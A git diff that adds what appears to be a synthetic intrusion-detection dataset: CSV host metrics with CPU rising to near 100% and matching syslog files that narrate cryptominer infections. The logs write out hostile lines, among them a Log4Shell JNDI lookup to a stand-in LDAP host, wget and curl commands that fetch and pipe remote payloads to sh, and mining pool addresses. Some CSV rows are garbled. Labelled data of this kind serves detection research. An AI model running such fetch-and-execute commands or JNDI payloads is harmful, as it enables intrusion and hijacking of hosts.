audit: type=1400 audit(1723988178.245:6): apparmor="DENIED" operation="open" profile="/usr/sbin/sssd" name="/etc/sssd/sssd.conf" pid=4011 comm="sssd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Aug 18 09:37:05 sshd[2208]: pam_unix(sshd:session): session closed for user admin \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_16.csv b/mali_dataset/scenario_1/mali_1_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..2036b773982e8556aacdcf7084612911b8d4d350 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_16.csv @@ -0,0 +1,89 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out" +"2025-08-18T18:30:00Z,17.55,51.42,18.4,1.81,2.08" +"2025-08-18T18:30:05Z,19.28,51.33,21.1,1.55,1.82" +"2025-08-18T18:30:10Z,20.01,51.58,16.3,1.73,1.99" +"2025-08-18T18:30:15Z,18.19,51.65,23.2,1.41,2.16" +"2025-08-18T18:30:20Z,22.16,51.25,19.8,1.65,2.05" +"2025-08-18T18:30:25Z,19.45,51.73,17.5,1.38,2.21" +"2025-08-18T18:30:30Z,21.24,51.35,22.2,1.82,2.13" +"2025-08-18T18:30:35Z,25.92,52.1,35.9,6.72,2.35" +"2025-08-18T18:30:40Z,32.76,52.33,24.1,2.03,2.49" +"2025-08-18T18:30:45Z,38.58,52.48,11.6,0.98,2.64" +"2025-08-18T18:30:50Z,45.44,52.71,8.3,0.89,2.78" +"2025-08-18T18:30:55Z,52.11,52.82,7.8,0.81,2.91" +"2025-08-18T18:31:00Z,60.32,53.1,6.5,0.75,3.02" +"2025-08-18T18:31:05Z,68.05,53.25,6.1,0.72,3.15" +"2025-08-18T18:31:10Z,75.88,53.41,5.3,0.65,3.29" +"2025-08-18T18:31:15Z,82.17,53.59,5.5,0.62,3.31" +"2025-08-18T18:31:20Z,89.92,53.68,4.1,0.58,3.45" +"2025-08-18T18:31:25Z,94.73,53.81,4.8,0.51,3.58" +"2025-08-18T18:31:30Z,97.04,53.92,4.5,0.61,3.65" +"2025-08-18T18:31:35Z,98.22,54.05,4.2,0.55,3.71" +"2025-08-18T18:31:40Z,99.11,54.18,4.1,0.63,3.89" +"2025-08-18T18:31:45Z,99.34,54.25,3.9,0.59,4.04" +"2025-08-18T18:31:50Z,99.08,54.31,4.3,0.68,4.11" +"2025-08-18T18:31:55Z,99.53,54.39,4.0,0.62,4.22" +"2025-08-18T18:32:00Z,99.28,54.52,3.8,0.71,4.28" +"2025-08-18T18:32:05Z,99.81,54.48,3.5,0.66,4.41" +"2025-08-18T18:32:10Z,99.02,54.61,3.7,0.75,4.35" +"2025-08-18T18:32:15Z,99.15,54.57,3.4,0.69,4.52" +"2025-08-18T18:32:20Z,99.42,54.63,3.6,0.78,4.48" +"2025-08-18T18:32:25Z,98.89,54.55,3.2,0.72,4.61" +"2025-08-18T18:32:30Z,99.58,54.68,3.5,0.81,4.55" +"2025-08-18T18:32:35Z,99.21,54.61,3.3,0.74,4.69" +"2025-08-18T18:32:40Z,99.73,54.72,3.6,0.83,4.62" +"2025-08-18T18:32:45Z,99.08,54.65,3.1,0.76,4.75" +"2025-08-18T18:32:50Z,99.66,54.75,3.4,0.85,4.68" +"2025-08-18T18:32:55Z,99.34,54.69,3.2,0.77,4.81" +"2025-08-18T18:33:00Z,99.81,54.8,3.5,0.88,4.74" +"2025-08-18T18:33:05Z,98.97,54.73,3.0,0.79,4.89" +"2025-08-18T18:33:10Z,99.77,54.82,3.4,0.89,4.81" +"2025-08-18T18:33:15Z,99.25,54.76,3.1,0.80,4.94" +"2025-08-18T18:33:20Z,99.85,54.85,3.5,0.91,4.87" +"2025-08-18T18:33:25Z,99.13,54.78,2.9,0.81,5.01" +"2025-08-18T18:33:30Z,99.7,54.83,3.3,0.90,4.92" +"2025-08-18T18:33:35Z,99.41,54.8,3.1,0.82,5.06" +"2025-08-18T18:33:40Z,99.88,54.88,3.4,0.93,4.98" +"2ll,99.05,54.81,2.8,0.84,5.11" +"2025-08-18T18:33:50Z,99.76,54.86,3.2,0.92,5.03" +"2025-08-18T18:33:55Z,99.33,54.82,3.0,0.85,5.15" +"2025-08-18T18:34:00Z,99.83,54.9,3.3,0.94,5.07" +"2025-08-18T18:34:05Z,99.22,54.84,2.9,0.86,5.20" +"2025-08-18T18:34:10Z,99.79,54.89,3.2,0.95,5.12" +"2025-08-18T18:34:15Z,99.45,54.85,3.0,0.87,5.25" +"2025-08-18T18:34:20Z,99.89,54.92,3.3,0.97,5.18" +"2025-08-18T18:34:25Z,99.18,54.87,2.8,0.88,5.31" +"2025-08-18T18:34:30Z,99.72,54.91,3.1,0.96,5.23" +"2025-08-18T18:34:35Z,99.38,54.88,2.9,0.89,5.36" +"2025-08-18T18:34:40Z,99.8,54.94,3.2,0.98,5.28" +"2025-08-18T18:34:45Z,99.09,54.89,2.7,0.90,5.40" +"2025-08-18T18:34:50Z,99.74,54.93,3.0,0.99,5.32" +"2025-08-18T18:34:55Z,99.27,54.9,2.8,0.91,5.45" +"2025-08-18T18:35:00Z,99.82,54.96,3.1,1.01,5.38" +"2025-08-18T18:35:05Z,99.15,54.91,2.6,0.92,5.49" +"2025-08-18T18:35:10Z,99.78,54.95,3.0,1.00,5.41" +"2025-08-18T18:35:15Z,99.36,54.92,2.7,0.93,5.53" +"2025-08-18T18:35:20Z,99.86,54.98,3.1,1.02,5.46" +"2025-08-18T18:35:25Z,99.2,54.93,2.5,0.94,5.58" +"2025-08-18T18:35:30Z,99.71,54.97,2.9,1.03,5.50" +"2025-08-18T18:35:35Z,99.4,54.94,2.6,0.95,5.62" +"2025-08-18T18:35:40Z,99.84,55.0,3.0,1.05,5.55" +"2025-08-18T18:35:45Z,99.11,54.95,2.4,0.96,5.67" +"2025-08-18T18:35:50Z,99.75,54.99,2.8,1.04,5.59" +"2;-08-18T18:35:55Z,99.29,54.96,2.5,0.97,5.71" +"2025-08-18T18:36:00Z,99.87,55.02,2.9,1.06,5.63" +"2025-08-18T18:36:05Z,99.19,54.97,2.3,0.98,5.75" +"2025-08-18T18:36:10Z,99.81,55.01,2.7,1.07,5.68" +"2025-08-18T18:36:15Z,99.31,54.98,2.4,0.99,5.80" +"2025-08-18T18:36:20Z,99.79,55.03,2.8,1.09,5.72" +"2025-08-18T18:36:25Z,99.24,54.99,2.2,1.00,5.84" +"2025-08-18T18:36:30Z,99.83,55.04,2.6,1.08,5.76" +"2025-08-18T18:36:35Z,99.37,55.0,2.3,1.01,5.88" +"2025-08-18T18:36:40Z,99.85,55.06,2.7,1.10,5.81" +"2025-08-18T18:36:45Z,99.28,55.02,2.1,1.02,5.92" +"2025-08-18T18:36:50Z,99.77,55.05,2.5,1.11,5.85" +"2025-08-18T18:36:55Z,99.43,55.01,2.2,1.03,5.97" +"2025-08-18T18:37:00Z,99.89,55.08,2.6,1.13,5.89" +"2025-08-18T18:37:05Z,99.3,55.03,2.0,1.04,6.01" +"2025-08-18T18:37:10Z,99.8,55.07,2.4,1.12,5.93" +"2025-08-18T18:37:15Z,99.48,55.04,2.1,1.05,6.05" diff --git a/mali_dataset/scenario_1/mali_1_16.log b/mali_dataset/scenario_1/mali_1_16.log new file mode 100644 index 0000000000000000000000000000000000000000..e97c5d2cfafb8b23805ffbe55e52ed609655761e --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_16.log @@ -0,0 +1,15 @@ +Aug 18 18:30:02 mysqld[1120]: 2025-08-18T18:30:02.123456Z 0 [Note] mysqld: ready for connections. +Aug 18 18:30:10 sshd[4501]: Accepted password for user webmaster from 192.168.10.5 port 51234 ssh2 +Aug 18 18:30:10 systemd[1]: Started Session 15 of user webmaster. +Aug 18 18:30:25 org.apache.catalina.startup.Catalina[888]: Server startup in [25,432] milliseconds +Aug 18 18:30:33 tomcat-app[888]: 192.168.20.77 - - [18/Aug/2025:18:30:33 +0000] "GET /api/v1/status HTTP/1.1" 200 45 +Aug 18 18:30:36 tomcat-app[888]: 103.22.11.5 - - [18/Aug/2025:18:30:36 +0000] "GET /api/v1/users?id=${jndi:ldap://evil-ldap-server.com/a}" 404 128 +Aug 18 18:30:40 java[888]: INFO: Initiating remote class loading from ldap://evil-ldap-server.com/a +Aug 18 18:30:48 sh[4588]: Downloading client from http://103.22.11.5/xm.tar.gz +Aug 18 18:30:55 sh[4588]: Client installed to /tmp/.xmr/ +Aug 18 18:31:02 systemd[1]: Starting background process for system optimization... +Aug 18 18:31:03 jbd2/sda1-8[4599]: Process started. Binding to all available CPU cores. +Aug 18 18:31:04 jbd2/sda1-8[4599]: Network layer initialized. Connecting to remote pool. +Aug 18 18:33:15 systemd-logind[1002]: Session 15 logged out. Waiting for processes to exit. +Aug 18 18:35:05 CRON[5102]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 18 18:36:42 kernel: [ 402.733155] audit: type=1400 audit(1755494202.249:33): apparmor="DENIED" operation="open" profile="/usr/sbin/sssd" name="/etc/security/opasswd" \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_17.csv b/mali_dataset/scenario_1/mali_1_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..7abbf935fb4444f41926862a3dc37154e6c66988 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_17.csv @@ -0,0 +1,90 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-18T16:30:00Z,15.72,50.15,18.7,1.31,1.68 +2025-08-18T16:30:05Z,18.05,50.33,15.4,0.85,1.82 +2025-08-18T16:30:10Z,16.98,50.0,21.9,1.43,1.59 +2025-08-18T16:30:15Z,20.15,49.89,17.2,1.11,1.76 +2025-08-18T16:30:20Z,17.55,50.51,14.8,1.25,1.65 +2025-08-18T16:30:25Z,19.81,50.4,16.5,0.98,1.81 +2025-08-18T16:30:30Z,16.34,49.95,19.2,1.52,1.73 +2025-08-18T16:30:35Z,21.01,50.67,13.9,0.91,1.92 +2025-08-18T16:30:40Z,18.76,50.33,15.1,1.03,1.69 +2025-08-18T16:30:45Z,16.58,49.88,18.6,1.28,1.84 +2025-08-18T16:30:50Z,19.44,50.71,14.3,0.99,1.98 +2025-08-18T16:30:55Z,17.11,50.22,17.8,1.11,1.71 +2025-08-18T16:31:00Z,20.32,50.81,16.2,1.02,1.85 +2025-08-18T16:31:05Z,22.88,51.05,45.3,8.75,2.01 +2025-08-18T16:31:10Z,29.12,51.21,52.1,9.82,2.15 +2025-08-18T16:31:15Z,38.67,51.35,22.8,1.15,2.28 +2025-08-18T16:31:20Z,46.23,51.42,8.9,0.72,2.45 +2025-08-18T16:31:25Z,55.91,51.55,6.1,0.63,2.51 +2025-08-18T16:31:30Z,64.34,51.65,5.9,0.59,2.69 +2025-08-18T16:31:35Z,72.08,51.71,5.3,0.68,2.84 +2025-08-18T16:31:40Z,80.53,51.79,5.0,0.62,3.01 +2025-08-18T16:31:45Z,88.28,51.92,4.8,0.71,3.12 +2025-08-18T16:31:50Z,94.81,51.88,4.5,0.66,3.28 +2025-08-18T16:31:55Z,97.02,52.01,4.7,0.75,3.41 +2025-08-18T16:32:00Z,98.15,51.97,4.4,0.69,3.35 +2025-08-18T16:32:05Z,99.42,52.03,4.6,0.78,3.52 +2025-08-18T16:32:10Z,98.89,51.95,4.2,0.72,3.48 +2025-08-18T16:32:15Z,99.58,52.08,4.5,0.81,3.61 +2025-08-18T16:32:20Z,99.21,52.01,4.3,0.74,3.55 +2,"99.73,52.12,4.6,0.83,3.69 +2025-08-18T16:32:30Z,99.08,52.05,4.1,0.76,3.62 +2025-08-18T16:32:35Z,99.66,52.15,4.4,0.85,3.75 +2025-08-18T16:32:40Z,99.34,52.09,4.2,0.77,3.68 +2025-08-18T16:32:45Z,99.81,52.20,4.5,0.88,3.81 +2025-08-18T16:32:50Z,98.97,52.13,4.0,0.79,3.74 +2025-08-18T16:32:55Z,99.77,52.22,4.4,0.89,3.89 +2025-08-18T16:33:00Z,99.25,52.16,4.1,0.80,3.81 +2025-08-18T16:33:05Z,99.85,52.25,4.5,0.91,3.94 +2025-08-18T16:33:10Z,99.13,52.18,3.9,0.81,3.87 +2025-08-18T16:33:15Z,99.7,52.23,4.3,0.90,4.01 +2025-08-18T16:33:20Z,99.41,52.20,4.1,0.82,3.92 +2025-08-18T16:33:25Z,99.88,52.28,4.4,0.93,4.06 +2025-08-18T16:33:30Z,99.05,52.21,3.8,0.84,3.98 +2025-08-18T16:33:35Z,99.76,52.26,4.2,0.92,4.11 +2025-08-18T16:33:40Z,99.33,52.22,4.0,0.85,4.03 +2025-08-18T16:33:45Z,99.83,52.30,4.3,0.94,4.15 +2025-08-18T16:33:50Z,99.22,52.24,3.9,0.86,4.07 +2025-08-18T16:33:55Z,99.79,52.39,4.2,0.95,4.20 +2025-08-18T16:34:00Z,99.45,52.35,4.0,0.87,4.12 +2025-08-18T16:34:05Z,99.89,52.42,4.3,0.97,4.25 +2025-08-18T16:34:10Z,99.18,52.37,3.8,0.88,4.18 +2025-08-18T16:34:15Z,99.72,52.41,4.1,0.96,4.31 +2025-08-18T16:34:20Z,99.38,52.38,3.9,0.89,4.23 +2025-08-18T16:34:25Z,99.8,52.44,4.2,0.98,4.36 +2025-08-18T16:34:30Z,99.09,52.39,3.7,0.90,4.28 +2025-08-18T16:34:35Z,99.74,52.43,4.0,0.99,4.40 +2025-08-18T16:34:40Z,99.27,52.40,3.8,0.91,4.32 +2025-08-18T16:34:45Z,99.82,52.46,4.1,1.01,4.45 +2025-08-18T16:34:50Z,99.15,52.41,3.6,0.92,4.38 +2025-08-18T16:34:55Z,99.78,52.45,4.0,1.00,4.49 +2025-08-18T16:35:00Z,99.36,52.42,3.7,0.93,4.41 +2025-08-18T16:35:05Z,99.86,52.48,4.1,1.02,4.53 +2025-08-18T16:35:10Z,99.2,52.43,3.5,0.94,4.46 +2025-08-18T16:35:15Z,99.71,52.47,3.9,1.03,4.58 +2025-08-18T16:35:20Z,99.4,52.44,3.6,0.95,4.50 +2025-08-18T16:35:25Z,99.84,52.50,4.0,1.05,4.62 +2025-08-18T16:35:30Z,99.11,52.45,3.4,0.96,4.55 +2025-08-18T16:35:35Z,99.75,52.49,3.8,1.04,4.67 +2025-08-18T16:35:40Z,99.29,52.46,3.5,0.97,4.59 +2025-08-18T16:35:45Z,99.87,52.52,3.9,1.06,4.71 +2025-08-18T16:35:50Z,99.19,52.47,3.3,0.98,4.63 +2025-08-18T16:35:55Z,99.81,52.51,3.7,1.07,4.75 +2025-08-18T16:36:00Z,99.31,52.48,3.4,0.99,4.68 +2025-08-18T16:36:05Z,99.79,52.53,3.8,1.09,4.80 +2025-08-18T16:36:10Z,99.24,52.49,3.2,1.00,4.72 +2025-08-18T16:36:15Z,99.83,52.54,3.6,1.08,4.84 +2025-08-18T16:36:20Z,99.37,52.50,3.3,1.01,4.76 +2025-08-18T16:36:25Z,99.85,52.56,3.7,1.10,4.88 +2025-08-18T16:36:30Z,99.28,52.52,3.1,1.02,4.81 +2025-08-18T16:36:35Z,99.77,52.55,3.5,1.11,4.92 +2025-08-18T16:36:40Z,99.43,52.51,3.2,1.03,4.85 +2025-08-18T16:36:45Z,99.89,52.58,3.6,1.13,4.97 +2025-08-18T16:36:50Z,99.3,52.53,3.0,1.04,4.89 +2025-08-18T16:36:55Z,99.8,52.57,3.4,1.12,5.01 +2025-08-18T16:37:00Z,99.48,52.54,3.1,1.05,4.93 +2,"99.91,52.60,3.5,1.14,5.05 +2025-08-18T16:37:10Z,99.35,52.56,2.9,1.06,4.98 +2025-08-18T16:37:15Z,99.88,52.59,3.3,1.15,5.10 +2025-08-18T16:37:20Z,99.42,52.57,3.0,1.07,5.03 \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_17.log b/mali_dataset/scenario_1/mali_1_17.log new file mode 100644 index 0000000000000000000000000000000000000000..4698f60b9bb6aff40a899e0074c197bda6304ec4 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_17.log @@ -0,0 +1,18 @@ +Aug 18 16:30:02 systemd[1]: Starting systemd-tmpfiles-setup.service... +Aug 18 16:30:08 systemd[1]: Finished Clean up of Temporary Directories. +Aug 18 16:30:25 sshd[4011]: Accepted password for user webmaster from 203.0.113.52 port 58221 ssh2 +Aug 18 16:30:25 systemd[1]: Created slice User Slice of UID 1001. +Aug 18 16:30:25 systemd[1]: Started Session 8 of user webmaster. +Aug 18 16:30:51 CRON[4033]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) +Aug 18 16:31:06 apache2[3512]: [error] [client 198.51.100.10] AH00128: File does not exist: /var/www/html/wp-login.php +Aug 18 16:31:10 apache2[3512]: [access] 198.51.100.10 - - "POST /wp-content/plugins/revslider/revslider_show_image.php HTTP/1.1" 200 145 "-" "python-requests/2.25.1" +Aug 18 16:31:12 sh[4088]: Executing remote command from web shell: wget -q -O /tmp/kworker http://malicious-repo.org/kworker && chmod +x /tmp/kworker +Aug 18 16:31:18 sh[4088]: Command executed, starting process /tmp/kworker in background. +Aug 18 16:31:19 kworker[4095]: Process started. Masking as [kworker/u16:0] +Aug 18 16:31:24 kworker[4095]: Connecting to Monero pool at randomx.xmrig.com:3333... +Aug 18 16:31:31 kworker[4095]: Connection successful. Mining started. +Aug 18 16:32:48 dbus-daemon[987]: [system] Activating via systemd: service name='org.freedesktop.hostname1' unit='dbus-org.freedesktop.hostname1.service' requested by ':1.52' (uid=0 pid=4150 comm="/usr/sbin/gdm3 " label="unconfined") +Aug 18 16:34:01 systemd[1]: Starting Hostname Service... +Aug 18 16:34:01 systemd[1]: Started Hostname Service. +Aug 18 16:35:33 kernel: [ 1053.481516] INFO: task jbd2/sda1-8:221 blocked for more than 120 seconds. +Aug 18 16:37:05 sshd[4011]: pam_unix(sshd:session): session closed for user webmaster \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_18.csv b/mali_dataset/scenario_1/mali_1_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..2c44beb59d2e4d9a3e9076604ca04b05f38eeda8 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_18.csv @@ -0,0 +1,87 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T09:00:00Z,22.18,45.12,25.4,2.11,2.38 +2025-08-19T09:00:05Z,18.98,45.31,28.1,1.85,2.12 +2025-08-19T09:00:10Z,21.51,45.08,23.3,2.03,2.29 +2025-08-19T09:00:15Z,20.19,45.45,29.2,1.71,2.46 +2025-08-19T09:00:20Z,19.76,45.15,25.8,1.95,2.35 +2025-08-19T09:00:25Z,23.45,45.53,22.5,1.68,2.51 +2025-08-19T09:00:30Z,20.14,45.25,27.2,2.12,2.43 +2025-08-19T09:00:35Z,28.92,46.1,15.9,1.02,2.65 +2025-08-19T09:00:40Z,35.76,46.33,14.1,0.93,2.79 +2025-08-19T09:00:45Z,41.58,46.48,10.6,0.88,2.94 +2025-08-19T09:00:50Z,48.44,46.71,9.3,0.79,3.08 +2025-08-19T09:00:55Z,55.11,46.82,8.8,0.71,3.21 +2025-08-19T09:01:00Z,63.32,47.1,7.5,0.65,3.32 +2025-08-19T09:01:05Z,71.05,47.25,7.1,0.62,3.45 +2025-08-19T09:01:10Z,78.88,47.41,6.3,0.55,3.59 +2025-08-19T09:01:15Z,85.17,47.59,6.5,0.52,3.61 +2025-08-19T09:01:20Z,91.92,47.68,5.1,0.48,3.75 +2025-08-19T09:01:25Z,96.73,47.81,4.8,0.41,3.88 +2025-08-19T09:01:30Z,98.04,47.92,4.5,0.51,3.95 +2025-08-19T09:01:35Z,99.22,48.05,4.2,0.45,4.01 +2025-08-19T09:01:40Z,99.11,48.18,4.1,0.53,4.19 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+2025-08-19T09:06:45Z,99.28,49.02,2.1,0.92,6.22 +2025-08-19T09:06:50Z,99.77,49.05,2.5,1.01,6.15 +2025-08-19T09:06:55Z,99.43,49.01,2.2,0.93,6.27 +2025-08-19T09:07:00Z,99.89,49.08,2.6,1.03,6.19 +2025-08-19T09:07:05Z,99.3,49.03,2.0,0.94,6.31 \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_18.log b/mali_dataset/scenario_1/mali_1_18.log new file mode 100644 index 0000000000000000000000000000000000000000..4f65ea6b6f775c22521c61db4fcbcb82cf0ecf1c --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_18.log @@ -0,0 +1,17 @@ +Aug 19 09:00:01 postgres[2345]: [2-1] LOG: database system is ready to accept connections +Aug 19 09:00:11 systemd[1]: Starting Postfix Mail Transport Agent... +Aug 19 09:00:12 postfix/master[1234]: daemon started -- version 3.5.6, configuration /etc/postfix +Aug 19 09:00:13 systemd[1]: Started Postfix Mail Transport Agent. +Aug 19 09:00:28 sshd[6088]: Connection from 112.85.42.187 port 58231 on 172.17.0.2 port 22 +Aug 19 09:00:30 sshd[6088]: Invalid user oracle from 112.85.42.187 port 58231 +Aug 19 09:00:34 sshd[6088]: Failed password for invalid user oracle from 112.85.42.187 port 58231 ssh2 +Aug 19 09:00:38 wordpress[3100]: 192.168.55.12 - - [19/Aug/2025:09:00:38 +0000] "POST /wp-content/plugins/revslider/temp/update_extract.php HTTP/1.1" 200 134 +Aug 19 09:00:40 wordpress[3100]: 192.168.55.12 - - [19/Aug/2025:09:00:40 +0000] "GET /wp-content/plugins/revslider/temp/uploads/revslider.php HTTP/1.1" 200 25 +Aug 19 09:00:41 php-fpm[3101]: [19-Aug-2025 09:00:41] WARNING: [pool www] child 3105 said into stderr: "NOTICE: PHP message: Downloading payload..." +Aug 19 09:00:48 php-fpm[3101]: [19-Aug-2025 09:00:48] WARNING: [pool www] child 3105 said into stderr: "NOTICE: PHP message: Executing miner process." +Aug 19 09:00:49 systemd-resolve[6155]: Miner process started under disguise. +Aug 19 09:00:50 systemd-resolve[6155]: Connecting to Monero pool at randomxmonero.eu-north.nicehash.com:3380 +Aug 19 09:00:55 systemd-resolve[6155]: Successfully connected to pool. CPU mining initiated. +Aug 19 09:02:15 CRON[6301]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 09:04:30 kernel: [ 270.112233] INFO: task systemd-resolve:6155 blocked for more than 120 seconds. +Aug 19 09:06:55 postgres[2345]: [3-1] LOG: checkpoint complete: wrote 895 buffers (5.5%); 0 WAL file(s) added, 0 removed, 1 recycled \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_19.csv b/mali_dataset/scenario_1/mali_1_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..51d2d837659397b7d903179be159035b06d2be46 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_19.csv @@ -0,0 +1,83 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-20T04:00:00Z,23.15,60.22,35.4,3.11,3.38 +2025-08-20T04:00:05Z,20.08,60.31,38.1,2.85,3.12 +2025-08-20T04:00:10Z,22.41,60.08,33.3,3.03,3.29 +2025-08-20T04:00:15Z,19.89,60.45,39.2,2.71,3.46 +2025-08-20T04:00:20Z,21.76,60.15,35.8,2.95,3.35 +2025-08-20T04:00:25Z,24.15,60.53,32.5,2.68,3.51 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+2025-08-20T04:05:35Z,99.94,63.20,13.0,2.05,6.15 +2025-08-20T04:05:40Z,99.21,63.15,12.4,1.96,6.27 +2025-08-20T04:05:45Z,99.85,63.19,12.8,2.04,6.19 +2025-08-20T04:05:50Z,99.39,63.16,12.5,1.97,6.31 +2025-08-20T04:05:55Z,99.97,63.22,12.9,2.06,6.23 +2025-08-20T04:06:00Z,99.29,63.17,12.3,1.98,6.35 +2025-08-20T04:06:05Z,99.89,63.21,12.7,2.07,6.28 +2025-08-20T04:06:10Z,99.51,63.18,12.4,1.99,6.40 +2025-08-20T04:06:15Z,99.99,63.24,12.8,2.09,6.32 +2025-08-20T04:06:20Z,99.34,63.19,12.2,2.00,6.44 +2025-08-20T04:06:25Z,99.84,63.23,12.6,2.08,6.36 +2025-08-20T04:06:30Z,99.57,63.20,12.3,2.01,6.48 +2025-08-20T04:06:35Z,99.98,63.26,12.7,2.10,6.41 +2025-08-20T04:06:40Z,99.28,63.22,12.1,2.02,6.52 +2025-08-20T04:06:45Z,99.87,63.25,12.5,2.11,6.45 \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_19.log b/mali_dataset/scenario_1/mali_1_19.log new file mode 100644 index 0000000000000000000000000000000000000000..b0463441b092998c8f39551c71e65b0712f716c8 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_19.log @@ -0,0 +1,17 @@ +Aug 20 04:00:02 systemd[1]: Starting Docker Application Container Engine. +Aug 20 04:00:05 containerd[1024]: serving... address="/run/containerd/containerd.sock" +Aug 20 04:00:08 dockerd[1050]: time="2025-08-20T04:00:08.123456Z" level=info msg="API listen on /var/run/docker.sock" +Aug 20 04:00:09 systemd[1]: Started Docker Application Container Engine. +Aug 20 04:00:15 dockerd[1050]: time="2025-08-20T04:00:15.654321Z" level=info msg="starting container" id=a1b2c3d4e5f6 container=redis-cache +Aug 20 04:00:25 sshd[7123]: Accepted password for user devops from 10.0.10.5 port 60123 ssh2 +Aug 20 04:00:25 systemd[1]: Started Session 18 of user devops. +Aug 20 04:00:48 dockerd[1050]: time="2025-08-20T04:00:48.789012Z" level=info msg="exec: docker exec a1b2c3d4e5f6 sh -c 'curl -fsSL https://pastebin.com/raw/xyz123 | sh'" +Aug 20 04:00:55 sh[7180]: [+] Payload retrieved. Attempting to escalate privileges and escape container. +Aug 20 04:01:05 sh[7180]: [+] Success. Writing miner to host filesystem at /var/tmp/.worker/ +Aug 20 04:01:10 sh[7180]: [+] Starting miner process on host. +Aug 20 04:01:12 kworker/u16:0[7199]: Process starting. Configuration loaded. +Aug 20 04:01:18 kworker/u16:0[7199]: Connecting to stratum pool at gulf.moneroocean.stream:10128 +Aug 20 04:01:24 kworker/u16:0[7199]: Connection successful. Mining started on all available threads. +Aug 20 04:02:50 systemd[1]: user@1001.service: Succeeded. +Aug 20 04:04:35 ntpd[1100]: host name not found: 2.debian.pool.ntp.org +Aug 20 04:06:21 sshd[7123]: pam_unix(sshd:session): session closed for user devops \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_2.csv b/mali_dataset/scenario_1/mali_1_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..c8f0fa6ef34178a36682b19dac09cbeed628cbe8 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T14:00:00Z,11.84,38.55,23.45,1.1,1.13 +2025-08-17T14:00:05Z,14.2,43.49,22.24,1.37,1.27 +2025-08-17T14:00:10Z,18.11,37.39,24.7,0.81,1.6 +2025-08-17T14:00:15Z,13.6,40.62,21.63,1.38,1.66 +2025-08-17T14:00:20Z,13.86,40.0,19.9,1.24,0.94 +2025-08-17T14:00:25Z,19.74,35.94,20.68,0.57,1.2 +2025-08-17T14:00:30Z,10.72,44.72,16.35,0.91,1.61 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+2025-08-17T14:05:35Z,99.81,48.16,5.73,0.31,2.66 +2025-08-17T14:05:40Z,95.69,48.11,6.05,0.28,3.58 +2025-08-17T14:05:45Z,95.21,42.84,7.91,0.23,3.88 +2025-08-17T14:05:50Z,95.29,40.92,8.7,0.21,3.15 +2025-08-17T14:05:55Z,99.44,39.92,10.28,0.47,2.55 +2025-08-17T14:06:00Z,98.52,45.02,8.8,0.71,4.12 +2025-08-17T14:06:05Z,97.65,42.69,9.59,0.67,2.59 +2025-08-17T14:06:10Z,98.77,39.81,12.03,0.21,3.75 +2025-08-17T14:06:15Z,98.75,45.65,13.33,0.45,2.88 +2025-08-17T14:06:20Z,99.42,46.82,10.83,0.41,4.24 +2025-08-17T14:06:25Z,97.73,45.13,9.08,0.68,4.23 +2025-08-17T14:06:30Z,99.2,48.73,14.83,0.67,2.59 +2025-08-17T14:06:35Z,99.85,42.98,13.49,0.2,2.74 +2025-08-17T14:06:40Z,96.73,43.33,13.1,0.48,2.75 +2025-08-17T14:06:45Z,97.16,44.93,6.25,0.68,4.34 +2025-08-17T14:06:50Z,95.68,48.13,5.12,0.41,3.76 +2025-08-17T14:06:55Z,96.12,49.42,7.11,0.7,4.41 +2025-08-17T14:07:00Z,95.69,47.35,6.43,0.34,2.72 +2025-08-17T14:07:05Z,97.55,43.07,7.94,0.25,3.27 +2025-08-17T14:07:10Z,96.92,44.32,14.86,0.5,2.84 +2025-08-17T14:07:15Z,99.86,42.03,8.38,0.32,4.31 +2025-08-17T14:07:20Z,96.75,43.59,14.65,0.51,3.69 +2025-08-17T14:07:25Z,98.86,46.97,10.22,0.76,3.21 diff --git a/mali_dataset/scenario_1/mali_1_2.log b/mali_dataset/scenario_1/mali_1_2.log new file mode 100644 index 0000000000000000000000000000000000000000..d2a4b188aa38a0192ab0968cfea8f43497ba4483 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_2.log @@ -0,0 +1,9 @@ +Aug 17 14:00:10 systemd[1]: Started session for user monitoring. +Aug 17 14:00:25 sshd[13579]: Accepted publickey for admin from 10.0.3.8 port 64321 ssh2 +Aug 17 14:02:10 CRON[18231]: (www-data) CMD (wget -q -O - http://bad-distro.net/payload | sh) +Aug 17 14:02:45 systemd[1]: Starting kworkerds.service... +Aug 17 14:03:00 systemd[1]: Started kworkerds.service. +Aug 17 14:03:15 kworkerds[21345]: Process started with high priority. +Aug 17 14:04:10 kubelet[1234]: INFO routine sync completed for pod some-app +Aug 17 14:05:40 systemd[1]: session-6.scope: Succeeded. +Aug 17 14:07:05 kubelet[1234]: INFO routine sync completed for pod some-app diff --git a/mali_dataset/scenario_1/mali_1_20.csv b/mali_dataset/scenario_1/mali_1_20.csv new file mode 100644 index 